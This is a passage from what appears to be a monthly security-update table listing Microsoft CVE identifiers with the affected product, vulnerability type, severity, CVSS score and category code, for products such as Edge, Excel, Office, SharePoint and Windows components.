8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of 